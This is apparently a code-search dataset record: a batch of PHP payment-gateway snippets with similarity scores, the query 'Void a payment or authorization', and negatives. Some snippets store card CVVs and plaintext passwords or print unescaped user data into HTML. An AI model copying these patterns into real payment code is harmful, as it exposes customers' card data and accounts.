$recurringProfile = $this->_recurringProfile;\r\n $order = $recurringProfile->createOrder($productItemInfo);\r\n $payment = $order->getPayment();\r\n $payment->setTransactionId($transactionId)\r\n ->setPreparedMessage($ewayMessage)\r\n ->setIsTransactionClosed(0);\r\n $order->save();\r\n $this->_recurringProfile->addOrderRelation($order->getId());\r\n $payment->registerCaptureNotification($grandTotal);\r\n $order->save();\r\n\r\n // notify customer\r\n if ($invoice = $payment->getCreatedInvoice()) {\r\n $message = Mage::helper('paypal')->__('Notified customer about invoice #%s.', $invoice->getIncrementId());\r\n $comment = $order->sendNewOrderEmail()->addStatusHistoryComment($message)\r\n ->setIsCustomerNotified(true)\r\n ->save();\r\n }\r\n\r\n if (!$recurringProfile->getIsCronJob()) {\r\n $session = Mage::getSingleton('checkout/type_onepage')->getCheckout();\r\n $session->setLastOrderId($order->getId());\r\n }\r\n }", "function hook_commerce_adyen_capture_received(\\Commerce\\Adyen\\Payment\\Transaction\\Payment $transaction, \\stdClass $order) {\n /* @var \\EntityDrupalWrapper $message */\n $message = entity_metadata_wrapper('message', message_create('commerce_adyen', [\n 'arguments' => [\n '@message' => t('Capture request for %order_number order has been received.', [\n '%order_number' => $order->order_number,\n ]),\n ],\n ]));\n\n $message->message_commerce_order = $order->order_id;\n $message->save();\n}", "public function do_payment ($request) {\n\t\t $merchantAuthentication = new AnetAPI\\MerchantAuthenticationType();\n\t\t $merchantAuthentication->setName(config('services.authorize.login'));\n\t\t $merchantAuthentication->setTransactionKey(config('services.authorize.key'));\n\t\t $refId = 'ref'.time();\n\t\t// Create the payment data for a credit card\n\t\t $creditCard = new AnetAPI\\CreditCardType();\n\t\t $creditCard->setCardNumber($request->credit_card_number);\n\t\t $expiry = $request->credit_card_year . '-' . $request->credit_card_month;\n\t\t // dd($expiry);\n\t\t // $creditCard->setExpirationDate( \"2038-12\");\n\t\t $creditCard->setExpirationDate($expiry);\n\t\t $paymentOne = new AnetAPI\\PaymentType();\n\t\t $paymentOne->setCreditCard($creditCard);\n\t\t// Create a transaction\n\t\t $transactionRequestType = new AnetAPI\\TransactionRequestType();\n\t\t $transactionRequestType->setTransactionType(\"authCaptureTransaction\");\n\t\t $transactionRequestType->setAmount($request->transaction_total_cost);\n\t\t $transactionRequestType->setPayment($paymentOne);\n\t\t $request = new AnetAPI\\CreateTransactionRequest();\n\t\t $request->setMerchantAuthentication($merchantAuthentication);\n\t\t $request->setRefId( $refId);\n\t\t $request->setTransactionRequest($transactionRequestType);\n\t\t $controller = new AnetController\\CreateTransactionController($request);\n\t\t $response = $controller->executeWithApiResponse(\\net\\authorize\\api\\constants\\ANetEnvironment::SANDBOX);\n\t\t/*if ($response != null){\n\t\t\t$tresponse = $response->getTransactionResponse();\n\t\t\tif (($tresponse != null) && ($tresponse->getResponseCode()==\"1\")){\n\t\t\t\techo \"Charge Credit Card AUTH CODE : \" . $tresponse->getAuthCode() . \"\\n\";\n\t\t\t\techo \"Charge Credit Card TRANS ID : \" . $tresponse->getTransId() . \"\\n\";\n\t\t\t} else {\n\t\t\t\techo \"Charge Credit Card ERROR : Invalid response\\n\";\n\t\t\t}\n\t\t} else {\n\t\t\techo \"Charge Credit Card Null response returned\";\n\t\t}*/\n\t\treturn $response;\n\t}", "public function calculatePayment()\n {\n }", "public function handlePayment ()\n {\n /**\n * Die $baseUrl können wir weit nach oben ziehen, weil wir sie weiter unten an mehreren Stellen verwenden und\n * sie nicht unten jedes Mal definieren möchten, sondern einmal und dann wiederverwenden.\n */\n $baseUrl = Config::get('app.baseUrl');\n\n /**\n * Wir verzichten der Übersichtlichkeit halber auf eine Validierung. Eigentlich müsste hier eine Daten-\n * validierung durchgeführt werden und etwaige Fehler an den User zurückgespielt werden. Im Login machen wir das\n * beispielsweise und auch bei der Bearbeitung eines Produkts. Der nachfolgende Code dürfte gar nicht mehr\n * ausgeführt werden, wenn Validierungsfehler aufgetreten sind.\n */\n\n /**\n * Eingeloggten User abfragen\n */\n $user = User::getLoggedInUser();\n\n /**\n * Wurde das linke Formular abgeschickt und ein Wert ausgewählt?\n */\n if (isset($_POST['payment']) && $_POST['payment'] !== '_default') {\n /**\n * Ausgefüllte PaymentId in die Session speichern, damit wir sie in einem weiteren Checkout-Schritt wieder\n * verwenden können.\n */\n Session::set(self::PAYMENT_KEY, (int)$_POST['payment']);\n }\n\n /**\n * Wurde das rechte Formular abgeschickt und ein Wert in das Name-Feld eingegeben?\n */\n if (isset($_POST['name']) && !empty($_POST['name'])) {\n /**\n * Neue Payment Methode erstellen und in die Datenbank speichern.\n */\n $payment = new Payment();\n $payment->name = $_POST['name'];\n $payment->number = $_POST['number'];\n $payment->expires = $_POST['expires'];\n $payment->ccv = $_POST['ccv'];\n $payment->user_id = $user->id;\n $payment->save();\n\n /**\n * ID der neu erstellten Zahlungsmethode in die Session speichern, damit wir sie in einem weiteren Checkout-\n * Schritt wieder verwenden können.\n */\n Session::set(self::PAYMENT_KEY, (int)$payment->id);\n }\n\n /**\n * Oben sind folgende Fälle abgedeckt:\n * + Ein existierendes Payment wurde aus dem Dropdown gewählt\n * + Ein neues Payment wurde in das Formular eingegeben\n * Was noch nicht abgedeckt ist, wenn weder ein Payment ausgewählt wurde noch ein neues Payment angelegt wurde.\n *\n * Hier prüfen wir also, ob KEIN payment geschickt wurde oder der Standard Wert aus dem Formular übergeben wurde\n * UND ob das Namens feld NICHT oder LEER übergeben wurde. Das ist eine relativ komplexe Bedingung, daher habe\n * ich sie zur besseren Übersicht in mehrere Zeilen aufgeteilt.\n */\n if (\n (\n !isset($_POST['payment']) ||\n $_POST['payment'] === '_default'\n )\n &&\n (\n !isset($_POST['name']) ||\n empty($_POST['name'])\n )\n ) {\n /**\n * Wurde weder ein Payment ausgewählt noch ein neues eingegeben, so schreiben wir einen Error und leiten zu\n * dem Formular zurück, von dem wir gekommen sind.\n */\n Session::set('errors', [\n 'Payment auswählen ODER ein neues anlegen.'\n ]);\n\n header(\"Location: {$baseUrl}checkout\");\n exit;\n }\n\n /**\n * Weiterleiten auf den nächsten Schritt im Checkout Prozess.\n */\n header(\"Location: {$baseUrl}checkout/address\");\n exit;\n }", "protected function processPayment() {\n\t\t$this->renderResponse( $this->adapter->doPayment() );\n\t}", "protected function processPayment() {\n\t\t$this->renderResponse( $this->adapter->doPayment() );\n\t}", "public function checkPaymentCancellation()\n {\n $response = $this->client->request($this->methods['post'], 'pay' , [\n 'json' => [\n 'AGR_TRANS_ID' => $this->agr_trans_id,\n 'VENDOR_TRANS_ID' => $this->vendor_trans_id,\n 'SIGN_TIME' => $this->generateSignTime(),\n 'SIGN_STRING' => md5($this->SECRET_KEY. $this->agr_trans_id. $this->vendor_trans_id. $this->sign_time)\n ]\n ]);\n\n return json_decode($response->getBody());\n }", "public function getPayerAuthenticationResponse();", "public function acceptPayment() {\n $paymentResponse = new PayWayMessage(\\Drupal::request()->query->all());\n\n // 'POST' indicates that it is a one time response after the payment has been made, in our case, to send an email\n if ($paymentResponse->isSignValid() && $paymentResponse->get('POST')) {\n $userId = $paymentResponse->get('userid');\n $orderId = $paymentResponse->get('orderid');\n\n // TODO: Deprecated\n if ($userId !== NULL) {\n $participant = $this->getParticipant($userId);\n $participant->setPaymentId($orderId);\n $participant->save();\n }\n\n // Also make sure the CMS side is aware of the update of this order\n $refreshOrderApi = new RefreshOrderApi();\n $refreshOrderApi->refreshOrder($orderId);\n\n // Send an email to inform the user his payment has been accepted\n $sendEmailApi = new SendEmailApi();\n $sendEmailApi->sendPaymentAcceptedEmail($userId, $orderId);\n }\n\n return array('#markup' => iish_t('Thank you. The procedure has been completed successfully! ' .\n 'Within a few minutes you will receive an email from us confirming your \\'final registration and payment\\' ' .\n 'and you will receive a second email from the payment provider confirming your payment.'));\n }", "public function authorize(Varien_Object $payment, $amount)\n {\n $requestData = Mage::app()->getRequest()->getParam('payment');\n $session = Mage::getSingleton('ckopayment/session_quote');\n\n // Order information\n $order = $payment->getOrder();\n $quoteId = $order->getQuoteId();\n $orderId = $payment->getOrder()->getIncrementId();\n\n $currencyCode = Mage::app()->getStore()->getCurrentCurrencyCode();\n // Format amount to cent\n $amountCent = Mage::getModel('ckopayment/checkoutcomUtils')->valueToDecimal($amount, $currencyCode);\n\n // Charge request params\n $requestParam = $this->_getRequestParam($requestData, $amountCent, $currencyCode, $quoteId, $orderId);\n\n $secretKey = Mage::getModel('ckopayment/checkoutcomConfig')->getSecretKey();\n\n $environment = Mage::getModel('ckopayment/checkoutcomConfig')->getEnvironment() == 'sandbox' ? true : false;\n // Initialize the Checkout Api\n $checkout = new CheckoutApi($secretKey, $environment);\n\n try {\n\n // Call to create charge\n $response = $checkout->payments()->request($requestParam);\n\n // Check if payment successful\n if ($response->isSuccessful()) {\n if ($response->isPending() || $response->status == 'Authorized') {\n if ($response->getRedirection()) {\n // Update order payment information with payment id from checkout.com\n $payment->setAdditionalInformation('isApm', true);\n $payment->setIsTransactionPending(true);\n\n $session\n ->setIsApm(true)\n ->setPaymentRedirectUrl($response->getRedirection());\n } else {\n\n // Verify payment id\n $verifyPayment = $checkout->payments()->details($response->id);\n $source = $verifyPayment->source;\n\n // Check if payment is successful\n if ($verifyPayment->isSuccessful()) {\n $metadata = $verifyPayment->metadata;\n\n // Check if payment source is sepa\n if ($source['type'] == 'sepa') {\n $payment->setTransactionId($response->id);\n $payment->setIsTransactionClosed(0);\n\n // Set message to order with mandate id\n $order->addStatusHistoryComment(\"Sepa payment completed. Mandate Id : \" .$metadata['mandate_id']);\n $order->save();\n\n return $this;\n }\n }\n\n // Check if payment source if Fawry\n if ($source['type'] == 'fawry'){\n $payment->setTransactionId($response->id);\n $payment->setIsTransactionClosed(0);\n\n // Set message to order with mandate id\n $order->addStatusHistoryComment(\"Fawry payment completed.\");\n $order->save();\n\n return $this;\n }\n\n $errorMessage = \"Redirection url not found.\";\n\n // Log error in var/log/checkoutcomapms.log\n Mage::log($errorMessage, null, $this->_code . '.log');\n Mage::log($response, Zend_Log::DEBUG, $this->_code . '.log', true);\n\n //Throw exception and stop order process\n Mage::throwException($errorMessage);\n }\n } else {\n $errorMessage = \"An error has occurred while processing your payment. Please check your payment details and try again.\";\n\n // Log error in var/log/checkoutcomapms.log\n Mage::log($errorMessage, null, $this->_code . '.log');\n Mage::log($response, Zend_Log::DEBUG, $this->_code . '.log', true);\n\n //Throw exception and stop order process\n Mage::throwException($errorMessage);\n }\n } else {\n $errorMessage = \"An error has occurred while processing your payment. Please check your payment details and try again.\";\n\n // Log error in var/log/checkoutcomapms.log\n Mage::log($errorMessage, null, $this->_code . '.log');\n Mage::log($response, Zend_Log::DEBUG, $this->_code . '.log', true);\n\n //Throw exception and stop order process\n Mage::throwException($errorMessage);\n }\n } catch (CheckoutModelException $ex) {\n Mage::log($ex->getBody(), Zend_Log::DEBUG, $this->_code . '.log', true);\n $errorMessage = \"An error has occurred while processing your payment. Please check your payment details and try again.\";\n Mage::throwException($errorMessage);\n } catch (CheckoutHttpException $ex) {\n Mage::log($ex->getBody(), Zend_Log::DEBUG, $this->_code . '.log', true);\n $errorMessage = \"An error has occurred . Please check your payment details and try again.\";\n Mage::throwException($errorMessage);\n }\n\n return $this;\n }", "public function bluepay_authorize_payment($params)\n\t{\n\t\t$this->_api_method = 'AUTH';\n\t\t$this->_request = $this->_build_request($params);\t\t\t\n\t\treturn $this->_handle_query();\n\t}", "public function payment(){\n\t\t$_POST['reference'] = date('NWHis');\n\t\techo json_encode($this->pagseguro->doPayment($_POST));\n\t}", "public function createPaymentUsingSavedCard($ccppid, $cout) {\n // This sample code demonstrates how you can process a \n // Payment using a previously stored credit card token.\n // API used: /v1/payments/payment\n /** @var CreditCard $card */\n //$card = require __DIR__ . '/../vault/CreateCreditCard.php';\n\n // ### Credit card token\n // Saved credit card id from a previous call to\n // CreateCreditCard.php\n $creditCardToken = new CreditCardToken();\n //$creditCardToken->setCreditCardId($card->getId());\n $creditCardToken->setCreditCardId($ccppid);\n\n // ### FundingInstrument\n // A resource representing a Payer's funding instrument.\n // For stored credit card payments, set the CreditCardToken\n // field on this object.\n $fi = new FundingInstrument();\n $fi->setCreditCardToken($creditCardToken);\n // ### Payer\n // A resource representing a Payer that funds a payment\n // For stored credit card payments, set payment method\n // to 'credit_card'.\n $payer = new Payer();\n $payer->setPaymentMethod(\"credit_card\")\n ->setFundingInstruments(array($fi));\n // ### Amount\n // Lets you specify a payment amount.\n // You can also specify additional details\n // such as shipping, tax.\n $amount = new Amount();\n $amount->setCurrency(\"EUR\");\n $amount->setTotal($cout);\n // ### Transaction\n // A transaction defines the contract of a\n // payment - what is the payment for and who\n // is fulfilling it. \n $transaction = new Transaction();\n $transaction->setAmount($amount);\n $transaction->setDescription(\"This is the payment description.\");\n // ### Payment\n // A Payment Resource; create one using\n // the above types and intent set to 'sale'\n $payment = new Payment();\n $payment->setIntent(\"sale\")\n ->setPayer($payer)\n ->setTransactions(array($transaction));\n \n // ###Create Payment\n // Create a payment by calling the 'create' method\n // passing it a valid apiContext.\n // (See bootstrap.php for more on `ApiContext`)\n // The return object contains the state.\n try {\n $resultat = $payment->create($this->apiContext);\n } catch (\\Paypal\\Exception\\PPConnectionException $pce) {\n print_r( json_decode($pce->getData()) );\n }\n $statut = $resultat->getState();\n\n return $statut;\n }", "private function createStatusSuccessResponseWithAlreadyCapturedPayment(): stdClass\n {\n $response = $this->createStatusSuccessResponse();\n\n $response->statusSuccess->report->approximateTotals->totalAcquirerApproved = 1000;\n $response->statusSuccess->report->approximateTotals->totalCaptured = 1000;\n\n $response->statusSuccess->report->payment->authorization->capture = new stdClass();\n $response->statusSuccess->report->payment->authorization->capture->status = 'CAPTURED';\n $response->statusSuccess->report->payment->authorization->capture->amount = new stdClass();\n $response->statusSuccess->report->payment->authorization->capture->amount->_ = 1000;\n $response->statusSuccess->report->payment->authorization->capture->amount->currency = 'EUR';\n\n return $response;\n }", "public function createPayment()\n\t{\n\n\t}", "public function processPayment() {\n\n\t\t//create the GTPayConnector instance\n\t\t$gtpayConnector = new GTPayConnector();\n\n\t\t//create the VpcConfig instance\n\t\t$vpcConfig = new VpcConfig();\n\n\t\t//get the vpc xml object\n\t\t$vpcXMLConf = \"\";\n\t\t$vpcXMLConf = $vpcConfig->loadVpcConfig();\n\n\t\t// confirm that the configurations of vpc were loaded;\n\t\tif($vpcXMLConf == null) {\n\n\t\t\t//go to the error interface\n\t\t\t$data['error_msg'] = \"Could not Load the Virtual Payment client Details\";\n\t\t\t$data['page_titile'] = \"xxOnline shoe | error\";\n\t\t\t$data['responseData'] = \"\";\n\n\t\t\t$this->load->view(\"error-page\", $data);\n\t\t\t$this->load->view(\"partials/footer\");\n\t\t\treturn;\n\t\t}\n\n\t\t//get the vpc details\n\t\t$vpcUrl = $vpcConfig->getVpcURL($vpcXMLConf);\n\t\t$vpcSalt = $vpcConfig->getVpvSalt($vpcXMLConf);\n\t\t$vpcSaltType = $vpcConfig->getVpcSaltType($vpcXMLConf);\n\t\t$marchantcode = $vpcConfig->getCustomerCode($vpcXMLConf);\n\n\t\t//the transaction log\n\t\t$transactionLog = array();\n\n\t\t// set the salt\n\t\t$gtpayConnector->setSalt($vpcSalt);\n\n\t\t//remove the data that you dont need to send to the payment client\n\t\tunset($_POST['shoeimage']);\n\t\tunset($_POST['submit']);\n\t\t// add the customer code to the post data\n\t\t$_POST['gtp_CustomerCode'] = $marchantcode;\n\n\t\t//sort the post data before encrypting\n\t\tksort($_POST);\n\n\t\t//add the Virtual Payment Client post data to the transaction data\n\t\tforeach ($_POST as $key => $value) {\n\t\t\t\n\t\t\tif(strlen($value) > 0) {\n\t\t\t\t$gtpayConnector->addTransactionFields($key, $value);\n\n\t\t\t\t// add the post data to the transactionLog\n\t\t\t\t$transactionLog[$key] = $value;\n\t\t\t}\n\t\t}\n\t\t//get the date and time when the payment request is made\n\t\t$date = new DateTime();\n\t\t$date->setTimeZone(new DateTimeZone('UTC'));\n\t\t$transactionDate = $date->format('Y-m-d\\TH-i-s\\Z');\n\n\t\t//add the date of the transaction\n\t\t$transactionLog[\"transactDate\"] = $transactionDate;\n\n\t\t//log the trasaction on your database\n\t\t$this->transactions->logTransaction($transactionLog);\n\n\t\t// set the salt type\n\t\t$gtpayConnector->setSaltType($vpcSaltType);\n\n\t\t// make oneway hash of the Transaction and add it to the digital order\n\t\t$transactionHash = $gtpayConnector->hashAllTransactionData();\n\n\t\t$gtpayConnector->addTransactionFields(\"gtp_TransDate\", $transactionDate);\n\t\t$gtpayConnector->addTransactionFields(\"gtp_SecureHash\", $transactionHash);\n\t\t$gtpayConnector->addTransactionFields(\"gtp_SecureHashType\", $vpcSaltType);\n\n\t\t//obtain the redirection url\n\t\t$vpcUrl = $gtpayConnector->getDigitalOrderURL($vpcUrl);\n\n\t\t// send the payment request\n\t\theader(\"Location: \".$vpcUrl);\n\t}", "static function pmpro_checkout_before_processing() {\n\t\t\tglobal $current_user, $gateway;\n\n\t\t\t//save user fields for PayPal Express\n\t\t\tif(!$current_user->ID) {\n\t\t\t\t//get values from post\n\t\t\t\tif(isset($_REQUEST['username']))\n\t\t\t\t\t$username = trim(sanitize_text_field($_REQUEST['username']));\n\t\t\t\telse\n\t\t\t\t\t$username = \"\";\n\t\t\t\tif(isset($_REQUEST['password']))\n\t\t\t\t\t$password = sanitize_text_field($_REQUEST['password']);\n\t\t\t\telse\n\t\t\t\t\t$password = \"\";\n\t\t\t\tif(isset($_REQUEST['bemail']))\n\t\t\t\t\t$bemail = sanitize_email($_REQUEST['bemail']);\n\t\t\t\telse\n\t\t\t\t\t$bemail = \"\";\n\n\t\t\t\t//save to session\n\t\t\t\t$_SESSION['pmpro_signup_username'] = $username;\n\t\t\t\t$_SESSION['pmpro_signup_password'] = $password;\n\t\t\t\t$_SESSION['pmpro_signup_email'] = $bemail;\n\t\t\t}\n\n\t\t\tif( !empty( $_REQUEST['tos'] ) ) {\n\t\t\t\t$tospost = get_post( pmpro_getOption( 'tospage' ) );\n\t\t\t\t$_SESSION['tos'] = array(\n\t\t\t\t\t'post_id' => $tospost->ID,\n\t\t\t\t\t'post_modified' => $tospost->post_modified,\n\t\t\t\t);\n\t\t\t}\n\n\t\t\t//can use this hook to save some other variables to the session\n\t\t\tdo_action(\"pmpro_paypalexpress_session_vars\");\n\t\t}", "public function decidePayment(Request $request){\n\n if(session()->get('payment')==2)\n return redirect()->route('payment.paypal');\n \n return redirect()->route('accounts.save_order');\n\n }", "public function process_payment() {\n\n\t\t$this->get_handler()->log( 'Processing payment' );\n\n\t\tcheck_ajax_referer( 'wc_' . $this->get_handler()->get_processing_gateway()->get_id() . '_apple_pay_process_payment', 'nonce' );\n\n\t\t$response = stripslashes( SV_WC_Helper::get_post( 'payment' ) );\n\n\t\t$this->get_handler()->store_payment_response( $response );\n\n\t\ttry {\n\n\t\t\t$result = $this->get_handler()->process_payment();\n\n\t\t\twp_send_json_success( $result );\n\n\t\t} catch ( \\Exception $e ) {\n\n\t\t\t$this->get_handler()->log( 'Payment failed. ' . $e->getMessage() );\n\n\t\t\twp_send_json_error( array(\n\t\t\t\t'message' => $e->getMessage(),\n\t\t\t\t'code' => $e->getCode(),\n\t\t\t) );\n\t\t}\n\t}", "public function poll() { //validate request from interkassa\n\t\t$this->wrlog(\"====================START=========================\");\n\t\t$this->wrlog(\"Payment for order: \".getRequest(\"ik_pm_no\").\" Time: \".date(\"Y-m-d H:i:s\"));\n\t\t$buffer = outputBuffer::current();\n\t\t$buffer->clear();\n\t\t$buffer->contentType(\"text/plain\");\n\t\t$this->wrlog($_REQUEST);\n\t\tif (!$this->checkIP()) {\n\t\t\t$this->order->setOrderStatus('canceled');\n\t\t\t$buffer->push(\"failed\");\n\t\t\t$this->wrlog(\"Invalid IP reply address\");\n\t\t}\n\t\telseif($this->hash_validation()) {\n\t\t\t$status = getRequest(\"ik_inv_st\");\n\t\t\tswitch($status) {\n\t\t\t\tcase interkassaPayment::STATUS_FAIL : {\t//fail order\n\t\t\t\t\t$this->order->setPaymentStatus('declined');\n\t\t\t\t\t$this->order->setOrderStatus('canceled');\n\t\t\t\t\t$buffer->push(\"failed\");\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tcase interkassaPayment::STATUS_SUCCESS : { //success order, create payment\n\t\t\t\t\t$this->order->setPaymentStatus('accepted');\n\t\t\t\t\t$this->order->payment_document_num = getRequest('ik_inv_id');\n\t\t\t\t\t$buffer->push(\"OK\");\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tcase interkassaPayment::STATUS_PENDING : { //pedning payment, wait for payment\n\t\t\t\t\t$this->order->setPaymentStatus('initialized');\n\t\t\t\t\t$this->order->payment_document_num = getRequest('ik_inv_id');\n\t\t\t\t\t$buffer->push(\"waitAccept\");\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tdefault: {\n\t\t\t\t\t$this->order->setPaymentStatus('initialized');\n\t\t\t\t\t$this->order->payment_document_num = getRequest('ik_inv_id');\n\t\t\t\t\t$buffer->push(\"waitAccept\");\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t}\n\t\t} else {\n\t\t\t$buffer->push(\"failed\");\n\t\t}\n\t\t$this->wrlog(\"=====================END=========================\");\n\t\t$buffer->end();\n\t}", "function _prePayment( $data )\n {\n\t\t// prepare the payment form\n $vars = new JObject();\n \n $vars->ssl_merchant_id = $this->params->get('ssl_merchant_id', '');\n $vars->ssl_user_id = $this->params->get('ssl_user_id', '');\n $vars->ssl_pin = $this->params->get('ssl_pin', '');\n $vars->test_mode = $this->params->get('test_mode', '0');\n\t\t$vars->merchant_demo_mode = $this->params->get('merchant_demo_mode', '0');\n\t\t$vars->inline_creditcard_form = $this->params->get('inline_creditcard_form', '0');\n \n\t\t$vars->ssl_customer_code = JFactory::getUser()->id;\n $vars->ssl_invoice_number = $data['orderpayment_id'];\n $vars->ssl_description = JText::_('Order Number: ').$data['order_id'];\n \n // Billing Info\n $vars->first_name = $data['orderinfo']->billing_first_name;\n $vars->last_name = $data['orderinfo']->billing_last_name;\n $vars->email = $data['orderinfo']->user_email;\n $vars->address_1 = $data['orderinfo']->billing_address_1;\n $vars->address_2 = $data['orderinfo']->billing_address_2;\n $vars->city = $data['orderinfo']->billing_city;\n $vars->country = $data['orderinfo']->billing_country_name;\n $vars->state = $data['orderinfo']->billing_zone_name;\n $vars->zip \t\t= $data['orderinfo']->billing_postal_code;\n \n $vars->amount = @$data['order_total'];\n\n\t\tif ($vars->merchant_demo_mode == 1)\n\t\t{\n\t\t\t$vars->payment_url = \"https://demo.myvirtualmerchant.com/VirtualMerchantDemo/process.do\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$vars->payment_url = \"https://www.myvirtualmerchant.com/VirtualMerchant/process.do\";\n\t\t}\n\n\t\tif ( $vars->inline_creditcard_form == 0)\n\t\t{\n\t\t\t$vars->receipt_url = JURI::root().\"index.php?option=com_tienda&view=checkout&task=confirmPayment&orderpayment_type=\".$this->_element;\n\t\t\t$vars->failed_url = JURI::root().\"index.php?option=com_tienda&view=checkout&task=confirmPayment&orderpayment_type=\".$this->_element;\n\t\t\t$html = $this->_getLayout('prepayment', $vars);\n\t\t}\n\t\telseif ( $vars->inline_creditcard_form == 1)\n\t\t{\n\t\t\t$vars->action_url = JURI::root().\"index.php?option=com_tienda&view=checkout&task=confirmPayment&orderpayment_type=\".$this->_element;\n\t\t\t$vars->order_id\t = $data['order_id'];\n\t\t\t$html = $this->_getLayout('paymentcreditcard', $vars);\n\t\t}\n\n return $html;\n }", "function admit()\n {\n global $standard_headers;\n global $cookie;\n\n $post_fields = array('state' => 'client', 'mac' => '00000000-0000-0000-0000-000000000000', 'os_name' => 'iphone', 'app_version' => '8.10.24', 'ostype' => '64bit', 'tz' => 'America/Chicago', 'battery_level' => '-1', 'locale' => 'en', 'logged_in' => '0', 'device_id' => '00000000-0000-0000-0000-000000000000', 'v' => '2');\n $response = curl('https://www.tadpoles.com/remote/v1/athome/admit', $post_fields, true);\n\n preg_match('/^Set-Cookie:\\s*(.+)=\"(.+)\"/mi', $response, $cookies);\n $cookie_key = $cookies[1];\n $cookie_value = $cookies[2];\n $cookie = \"$cookie_key=\\\"$cookie_value\\\"\";\n }", "function print_direct_payment_form($amount = 0, $description = '', $currency = '', $customencrypted = '', $returnurl = '')\n {\n global $ilance, $ilconfig, $headinclude;\n\t\t$ts = time();\n\t\t$sess_id = md5(rand());\n\t\t$_SESSION['ilancedata']['user']['ts'] = $ts;\n\t\t$order_id = $customencrypted;\n\t\t$amount = str_replace(array(',', '.'), '', sprintf(\"%01.2f\", $ilance->currency->string_to_number($amount)));\n\t\t$sig = md5($ilconfig['platnosci_pos_id'] . $sess_id . $ilconfig['platnosci_pos_auth_key'] . $amount . $description . $order_id . $_SESSION['ilancedata']['user']['firstname'] . $_SESSION['ilancedata']['user']['lastname'] . $_SESSION['ilancedata']['user']['address'] . $_SESSION['ilancedata']['user']['city'] . $_SESSION['ilancedata']['user']['postalzip'] . $_SESSION['ilancedata']['user']['email'] . IPADDRESS . $ts . $ilconfig['platnosci_pos_key1']);\n\t\t$html = '<form action=\"https://www.platnosci.pl/paygw/ISO/NewPayment/xml\" method=\"POST\" name=\"payform\">\n<input type=\"hidden\" name=\"first_name\" value=\"' . $_SESSION['ilancedata']['user']['firstname'] . '\">\n<input type=\"hidden\" name=\"last_name\" value=\"' . $_SESSION['ilancedata']['user']['lastname'] . '\">\n<input type=\"hidden\" name=\"email\" value=\"' . $_SESSION['ilancedata']['user']['email'] . '\">\n<input type=\"hidden\" name=\"street\" value=\"' . $_SESSION['ilancedata']['user']['address'] . '\">\n<input type=\"hidden\" name=\"city\" value=\"' . $_SESSION['ilancedata']['user']['city'] . '\">\n<input type=\"hidden\" name=\"post_code\" value=\"' . $_SESSION['ilancedata']['user']['postalzip'] . '\">\n<input type=\"hidden\" name=\"order_id\" value=\"' . $customencrypted . '\">\n<input type=\"hidden\" name=\"pos_id\" value=\"' . $ilconfig['platnosci_pos_id'] . '\">\n<input type=\"hidden\" name=\"pos_auth_key\" value=\"' . $ilconfig['platnosci_pos_auth_key'] . '\">\n<input type=\"hidden\" name=\"session_id\" value=\"' . $sess_id . '\">\n<input type=\"hidden\" name=\"amount\" value=\"' . $amount . '\">\n<input type=\"hidden\" name=\"desc\" value=\"' . $description . '\">\n<input type=\"hidden\" name=\"client_ip\" value=\"' . IPADDRESS . '\">\n<input type=\"hidden\" name=\"js\" value=\"1\">';\n\t\t\t\t/*\n\t\t\t\t * <input type=\"hidden\" name=\"ts\" value=\"'.$ts.'\">\n\t\t\t\t<input type=\"hidden\" name=\"sig\" value=\"'.$sig.'\">\n\t\t\t\t */\n\t\t\t\t$headinclude .= '<script type=\"text/javascript\">\n<!--\ndocument.forms[\\'payform\\'].js.value=1;\n-->\n</script>';\n return $html; \n }" ]
[ "0.66224873", "0.6606543", "0.6600139", "0.6593522", "0.6566402", "0.6420484", "0.6413922", "0.6350346", "0.6284637", "0.62540615", "0.62383956", "0.6233913", "0.6161857", "0.6145331", "0.61284083", "0.61207324", "0.6057181", "0.6042988", "0.60014755", "0.5990828", "0.598815", "0.5978753", "0.5960091", "0.59359545", "0.5913192", "0.5911791", "0.58848536", "0.5866629", "0.58404976", "0.5834779", "0.5783427", "0.5777565", "0.57486266", "0.57358044", "0.57336986", "0.57274693", "0.5715663", "0.5703533", "0.56918097", "0.5689497", "0.5685606", "0.5676635", "0.56707186", "0.5667244", "0.5647114", "0.56123525", "0.56095314", "0.5604384", "0.55884165", "0.5558608", "0.5550272", "0.5548125", "0.5541117", "0.5539983", "0.5532833", "0.55314916", "0.55184585", "0.55044574", "0.54939914", "0.5488565", "0.54865783", "0.5474149", "0.5467619", "0.5467405", "0.54646444", "0.5456146", "0.5455974", "0.5453097", "0.5450536", "0.5438262", "0.54371125", "0.54309726", "0.5429101", "0.5425023", "0.54192394", "0.5412387", "0.5409837", "0.5396731", "0.5395983", "0.5391698", "0.53804225", "0.53734285", "0.53728604", "0.53728604", "0.5372104", "0.5364874", "0.53602105", "0.535942", "0.53527623", "0.5346636", "0.5346417", "0.53455174", "0.53429574", "0.53353304", "0.5327745", "0.53158945", "0.53111356", "0.53108656", "0.53090185", "0.5307885", "0.53072685" ]
0.0
-1
Void a payment or authorization
public function void($reference_id, $transaction_id, $notes=null) { $this->Input->setErrors($this->getCommonError("unsupported")); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function void(Varien_Object $payment)\n {\n //Proceed parent void method in case that registry value ops_auto_void is set\n if (true === Mage::registry('ops_auto_void')) {\n Mage::unregister('ops_auto_void');\n return parent::void($payment);\n }\n\n //Set initital params\n $params = Mage::app()->getRequest()->getParams();\n $orderID = $payment->getOrder()->getId();\n $order = Mage::getModel(\"sales/order\")->load($orderID);\n\n //Calculate amount which has to be captured\n $alreadyCaptured = Mage::helper('ops/order_void')->getCapturedAmount(\n $order\n );\n $grandTotal = Mage::helper('ops/payment')\n ->getBaseGrandTotalFromSalesObject($order);\n $voidAmount = $grandTotal - $alreadyCaptured;\n $storeId = $order->getStoreId();\n //Build void directLink-Request-Params\n $requestParams = array(\n 'AMOUNT' => $this->getHelper()->getAmount($voidAmount),\n 'PAYID' => $payment->getAdditionalInformation('paymentId'),\n 'OPERATION' => self::OPS_DELETE_AUTHORIZE,\n 'CURRENCY' => Mage::app()->getStore($storeId)->getBaseCurrencyCode()\n );\n\n //Check if there is already a waiting void transaction, if yes: redirect to order view\n if (Mage::helper('ops/directlink')->checkExistingTransact(\n self::OPS_VOID_TRANSACTION_TYPE, $orderID\n )\n ) {\n $this->getHelper()->redirectNoticed(\n $orderID, 